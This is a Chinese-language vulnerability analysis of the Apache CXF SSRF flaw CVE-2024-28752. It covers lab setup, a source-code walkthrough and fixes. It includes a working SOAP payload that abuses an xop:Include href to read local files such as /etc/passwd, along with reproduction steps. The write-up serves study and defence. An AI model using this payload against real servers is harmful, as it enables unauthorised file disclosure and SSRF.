Apache CXF SSRF(CVE-2024-28752)漏洞分析
字数 1496 2025-12-04 12:12:06

Apache CXF SSRF漏洞分析(CVE-2024-28752)教学文档

漏洞概述

CVE-2024-28752是Apache CXF框架中存在的一个服务器端请求伪造(SSRF)漏洞。该漏洞仅影响使用Aegis DataBinding的情况,其他数据绑定方式(包括默认数据绑定)不受影响。

Apache CXF是一个开源的WebService框架,用于构建和开发WebService,支持多种协议。2024年3月15日,官方发布安全公告披露此漏洞。

环境搭建

方法一:使用Vulhub环境

# 获取Vulhub环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/apache-cxf/CVE-2024-28752
# 启动环境
docker-compose up -d

方法二:使用官方示例项目

从Apache CXF官方GitHub仓库获取示例项目:

git clone https://github.com/apache/cxf.git
cd cxf/distribution/src/main/release/samples/java_first_jaxws_factory_bean

漏洞分析

攻击Payload

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://service.namespace/">
 <soapenv:Header/>
 <soapenv:Body>
  <web:test>
   <arg0>
    <count>
     <xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///C:/flag"/>
    </count>
   </arg0>
  </web:test>
 </soapenv:Body>
</soapenv:Envelope>

关键组件说明

  • SOAP Envelope: 标准的SOAP消息结构
  • xop:Include: XOP(XML-binary Optimized Packaging)结构,用于在XML中引入外部二进制内容
  • href属性: 指定要读取的外部资源URL

漏洞触发流程

1. 入口点:AbstractHTTPDestination#invoke

  • 负责获取HTTP请求并进行包装
  • 将请求交给拦截器链处理

2. 关键方法:MTOMDecorator#startElement

public void startElement(TagName tagName) throws SAXException {
    if (tagName.local.equals("Include") && tagName.uri.equals("http://www.w3.org/2004/08/xop/include")) {
        String href = tagName.atts.getValue("href");
        DataHandler attachment = this.au.getAttachmentAsDataHandler(href);
        if (attachment == null) {
            this.parent.getEventHandler().handleEvent((ValidationEvent)null);
        }
        this.base64data.set(attachment);
        this.next.text(this.base64data);
        this.inXopInclude = true;
        this.followXop = true;
    } else {
        this.next.startElement(tagName);
    }
}

3. 数据处理:AttachmentUtil.getAttachmentDataSource

public static DataSource getAttachmentDataSource(String contentId, Collection<Attachment> atts) {
    if (contentId.startsWith("cid:")) {
        try {
            contentId = URLDecoder.decode(contentId.substring(4), StandardCharsets.UTF_8.name());
        } catch (UnsupportedEncodingException var3) {
            contentId = contentId.substring(4);
        }
        return loadDataSource(contentId, atts);
    } else if (contentId.indexOf("://") == -1) {
        return loadDataSource(contentId, atts);
    } else {
        try {
            return new URLDataSource(new URL(contentId));
        } catch (MalformedURLException var4) {
            MalformedURLException e = var4;
            throw new Fault(e);
        }
    }
}

4. 文件读取:Base64Data类

  • 负责实际的文件读取和Base64编码操作
  • 关键方法:set()方法处理数据设置

漏洞原理

  1. 当解析包含xop:Include元素的SOAP请求时,框架会提取href属性值
  2. 通过getAttachmentAsDataHandler()方法处理URL
  3. getAttachmentDataSource()方法中,检测到URL包含://时,直接创建URLDataSource对象
  4. Base64Data类随后读取该URL指向的资源并进行Base64编码
  5. 编码后的数据通过响应返回给攻击者

漏洞复现

步骤

  1. 搭建存在漏洞的Apache CXF环境
  2. 构造包含恶意xop:Include元素的SOAP请求
  3. 发送请求到目标服务端点
  4. 查看响应中返回的Base64编码文件内容

预期结果

  • 成功读取服务器本地文件(如/etc/passwdC:/flag
  • 文件内容以Base64编码形式出现在响应中

漏洞修复

修复方案

官方主要修复了AttachmentUtil类中创建URLDataSource的逻辑:

  1. 添加URL验证: 对传入的URL进行严格验证
  2. 限制协议类型: 只允许安全的协议(如http、https)
  3. 实施白名单机制: 对可访问的域名或IP进行限制

修复建议

  • 升级到已修复的安全版本
  • 如无法立即升级,可考虑禁用Aegis DataBinding
  • 使用Web应用防火墙(WAF)过滤恶意SOAP请求

影响范围

  • 受影响版本: 使用Aegis DataBinding的Apache CXF版本
  • 不受影响: 使用其他数据绑定方式的CXF部署

防护措施

  1. 及时更新Apache CXF到安全版本
  2. 避免在生产环境使用Aegis DataBinding
  3. 实施输入验证,过滤恶意XOP包含请求
  4. 配置网络隔离,限制应用服务器出站连接

总结

CVE-2024-28752漏洞利用了Apache CXF框架在处理XOP包含时的缺陷,通过精心构造的SOAP请求实现SSRF攻击。理解该漏洞的触发机制和修复方案对于确保WebService安全至关重要。

Apache CXF SSRF漏洞分析(CVE-2024-28752)教学文档 漏洞概述 CVE-2024-28752 是Apache CXF框架中存在的一个服务器端请求伪造(SSRF)漏洞。该漏洞仅影响使用 Aegis DataBinding 的情况,其他数据绑定方式(包括默认数据绑定)不受影响。 Apache CXF是一个开源的WebService框架,用于构建和开发WebService,支持多种协议。2024年3月15日,官方发布安全公告披露此漏洞。 环境搭建 方法一:使用Vulhub环境 方法二:使用官方示例项目 从Apache CXF官方GitHub仓库获取示例项目: 漏洞分析 攻击Payload 关键组件说明 SOAP Envelope : 标准的SOAP消息结构 xop:Include : XOP(XML-binary Optimized Packaging)结构,用于在XML中引入外部二进制内容 href属性 : 指定要读取的外部资源URL 漏洞触发流程 1. 入口点:AbstractHTTPDestination#invoke 负责获取HTTP请求并进行包装 将请求交给拦截器链处理 2. 关键方法:MTOMDecorator#startElement 3. 数据处理:AttachmentUtil.getAttachmentDataSource 4. 文件读取:Base64Data类 负责实际的文件读取和Base64编码操作 关键方法: set() 方法处理数据设置 漏洞原理 当解析包含 xop:Include 元素的SOAP请求时,框架会提取 href 属性值 通过 getAttachmentAsDataHandler() 方法处理URL 在 getAttachmentDataSource() 方法中,检测到URL包含 :// 时,直接创建 URLDataSource 对象 Base64Data 类随后读取该URL指向的资源并进行Base64编码 编码后的数据通过响应返回给攻击者 漏洞复现 步骤 搭建存在漏洞的Apache CXF环境 构造包含恶意 xop:Include 元素的SOAP请求 发送请求到目标服务端点 查看响应中返回的Base64编码文件内容 预期结果 成功读取服务器本地文件(如 /etc/passwd 或 C:/flag ) 文件内容以Base64编码形式出现在响应中 漏洞修复 修复方案 官方主要修复了 AttachmentUtil 类中创建 URLDataSource 的逻辑: 添加URL验证 : 对传入的URL进行严格验证 限制协议类型 : 只允许安全的协议(如http、https) 实施白名单机制 : 对可访问的域名或IP进行限制 修复建议 升级到已修复的安全版本 如无法立即升级,可考虑禁用Aegis DataBinding 使用Web应用防火墙(WAF)过滤恶意SOAP请求 影响范围 受影响版本 : 使用Aegis DataBinding的Apache CXF版本 不受影响 : 使用其他数据绑定方式的CXF部署 防护措施 及时更新Apache CXF到安全版本 避免在生产环境使用Aegis DataBinding 实施输入验证,过滤恶意XOP包含请求 配置网络隔离,限制应用服务器出站连接 总结 CVE-2024-28752漏洞利用了Apache CXF框架在处理XOP包含时的缺陷,通过精心构造的SOAP请求实现SSRF攻击。理解该漏洞的触发机制和修复方案对于确保WebService安全至关重要。